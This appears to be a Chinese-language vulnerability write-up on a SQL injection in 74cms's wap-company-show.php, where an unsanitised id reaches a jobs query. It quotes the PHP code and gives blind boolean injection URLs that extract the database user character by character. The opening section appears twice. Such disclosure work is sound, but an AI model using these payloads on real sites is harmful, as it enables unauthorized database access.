/wap/wap-company-show.php ``` define('IN_QISHI', true); require_once(dirname(__FILE__).'/../include/common.inc.php'); require_once(QISHI_ROOT_PATH.'include/fun_wap.php'); require_once(QISHI_ROOT_PATH.'include/mysql.class.php'); $smarty->cache = false; $db = new mysql($dbhost,$dbuser,$dbpass,$dbname); $smarty->assign('show',company_one($_GET['id'])); $smarty->assign('goback',$_SERVER["HTTP_REFERER"]); $smarty->display("wap/wap-company-show.html"); ?> ``` 传递进来一个id，看一下company_one /include/fun_wap.php ``` function company_one($id) { global $db; $wheresql=" WHERE id=".intval($id); $sql = "select * from ".table('company_profile').$wheresql." LIMIT 1"; $val=$db->getone($sql); $jobslist = $db->getall("select * from ".table('jobs')." where `company_id`=".$id." limit 5"); foreach ($jobslist as $key => $value) { $jobslist[$key]['url'] = wap_url_rewrite("wap-jobs-show",array("id"=>$value['id'])); } $val['jobslist'] = $jobslist; return $val; } ``` 虽然在wheresql这里做了过滤 $wheresql=" WHERE...
/wap/wap-company-show.php ``` define('IN_QISHI', true); require_once(dirname(__FILE__).'/../include/common.inc.php'); require_once(QISHI_ROOT_PATH.'include/fun_wap.php'); require_once(QISHI_ROOT_PATH.'include/mysql.class.php'); $smarty->cache = false; $db = new mysql($dbhost,$dbuser,$dbpass,$dbname); $smarty->assign('show',company_one($_GET['id'])); $smarty->assign('goback',$_SERVER["HTTP_REFERER"]); $smarty->display("wap/wap-company-show.html"); ?> ``` 传递进来一个id，看一下company_one /include/fun_wap.php ``` function company_one($id) { global $db; $wheresql=" WHERE id=".intval($id); $sql = "select * from ".table('company_profile').$wheresql." LIMIT 1"; $val=$db->getone($sql); $jobslist = $db->getall("select * from ".table('jobs')." where `company_id`=".$id." limit 5"); foreach ($jobslist as $key => $value) { $jobslist[$key]['url'] = wap_url_rewrite("wap-jobs-show",array("id"=>$value['id'])); } $val['jobslist'] = $jobslist; return $val; } ``` 虽然在wheresql这里做了过滤 $wheresql=" WHERE id=".intval($id); 但是下面 $jobslist = $db->getall("select * from ".table('jobs')." where `company_id`=".$id." limit 5"); 却没有处理。 随便注册个号，访问一个发布了职位的企业，或者自己申请个企业的号，访问自己的主页 鼠标移到招聘职位的地方，可以看到id    http://127.0.0.1/74cms1104/wap/wap-company-show.php?id=1 and ascii(substring((user()),1,1))=114 返回正常，说明user()的第一个字符的ascii为114 http://127.0.0.1/74cms1104/wap/wap-company-show.php?id=1 and ascii(substring((user()),1,1))=1141 返回错误
